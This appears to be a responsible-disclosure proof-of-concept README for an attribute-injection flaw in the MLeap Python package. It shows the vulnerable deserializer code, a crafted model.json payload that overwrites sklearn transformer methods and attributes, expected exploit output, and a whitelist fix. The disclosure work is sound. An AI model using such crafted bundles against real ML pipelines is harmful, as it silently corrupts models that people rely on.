--- tags: - security - vulnerability - poc - mleap - sklearn - attribute-injection - cwe-915 - model-integrity license: mit --- # MLeap — Bundle Arbitrary Attribute Injection (PoC) **Repo:** `MBM7/mleap-attribute-injection-poc` **Status:** Responsible disclosure — submitted to Huntr **Severity:** High / CWE-915 **Package:** `mleap` (PyPI) — ML pipeline serialization format --- ## Summary A crafted MLeap bundle `model.json` can **overwrite any Python attribute** of any sklearn transformer — including methods like `transform()` and `predict()` — causing silent model corruption at inference time. No exception is raised during loading. --- ## Root Cause `mleap/bundle/serialize.py`, `MLeapDeserializer.deserialize_single_input_output()`, line 208: ```python for attribute in attributes.keys(): # ← from model.json, NO validation value_key = [key for key in attributes[attribute].keys() if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0] setattr(transformer, attribute, attributes[attribute][value_key]) # ^^^^^^^^^ ANY Python attribute name ``` `attribute` comes directly from `model.json` in the MLeap bundle with **no whitelist or validation**. An attacker controls all attribute names and their values. --- ## Attack Craft a `model.json` with injected attribute names alongside legitimate ones: ```json { "op": "standard_scaler", "attributes": { "mean_": {"double": [0.5, 1.5, 2.5]}, "transform": {"string": "HIJACKED"}, "__module__": {"string": "os"}, "n_features_in_": {"long": 9999999999} } } ``` After `MLeapDeserializer().deserialize_single_input_output(scaler, node_dir)`: - `scaler.transform` = `"HIJACKED"` (method overwritten with string) - `scaler.__module__` = `"os"` (`__dunder__` injected) - `scaler.n_features_in_` = `9999999999` (shape validation bypassed) Calling `scaler.transform(X)` raises `TypeError: 'str' object is not callable`. --- ## Reproduce ```bash pip install mleap scikit-learn numpy python poc_mleap_setattr_injection.py ``` Expected: ``` result.transform : 'HIJACKED' ← INJECTED (was method!) result.__module__ : os ← INJECTED result.n_features_in_ : 9999999999 ← INJECTED result.transform(X) : TypeError: 'str' object is not callable ``` --- ## Distinct class from all previous findings All previous findings were **CWE-789** (memory allocation). This is: - **CWE-915** (Improperly Controlled Modification of Dynamically-Determined Object Attributes) - No memory exhaustion — model integrity/behavioral attack - Silent failure at inference time, not at load time --- ## Suggested Fix ```python ALLOWED_ATTRS = frozenset({ 'mean_', 'var_', 'scale_', 'with_mean', 'with_std', 'copy', 'n_features_in_', 'n_samples_seen_', 'op', # ... per-transformer whitelist }) for attribute in attributes.keys(): if attribute not in ALLOWED_ATTRS: raise ValueError(f"Attribute {attribute!r} not in allowed list") setattr(transformer, attribute, ...) ``` --- ## Environment | Package | Version | |---------|---------| | mleap | 0.25.1 | | Python | 3.12 |